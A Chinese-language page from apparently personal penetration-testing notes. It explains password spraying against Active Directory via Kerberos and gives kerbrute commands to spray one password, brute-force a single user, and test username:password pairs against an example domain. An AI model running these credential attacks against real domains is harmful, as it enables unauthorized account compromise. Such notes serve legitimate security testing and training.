> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/password-spraying-with-kerberos.md).
# 使用 Kerberos 进行密码喷洒
针对使用 Kerberos 进行密码喷洒的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
### 原理
**密码喷洒攻击** 即在多个用户上测试同一个密码。
不同于传统的暴力破解，我们避免在单个账户上测试许多密码，这降低了账户被锁定的风险。
### 使用 Kerbrute 进行密码喷洒攻击
使用特定密码的示例：
{% code overflow="wrap" %}
```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```
{% endcode %}
该命令测试密码 `Password123` 针对列在以下文件中的所有用户： `usernames.txt`.
### 针对特定用户的暴力破解
如果我们想针对某个特定用户测试多个密码：
{% code overflow="wrap" %}
```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```
{% endcode %}
这里， `passwords.txt` 包含一个密码列表。
### 使用用户名/密码对进行暴力破解
我们也可以使用一个包含如下格式配对的文件：
```
username:password
```
示例：
```
Administrator:password12345
Jordan:hello1453
user1:Password123
```
顺序：
{% code overflow="wrap" %}
```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```
{% endcode %}
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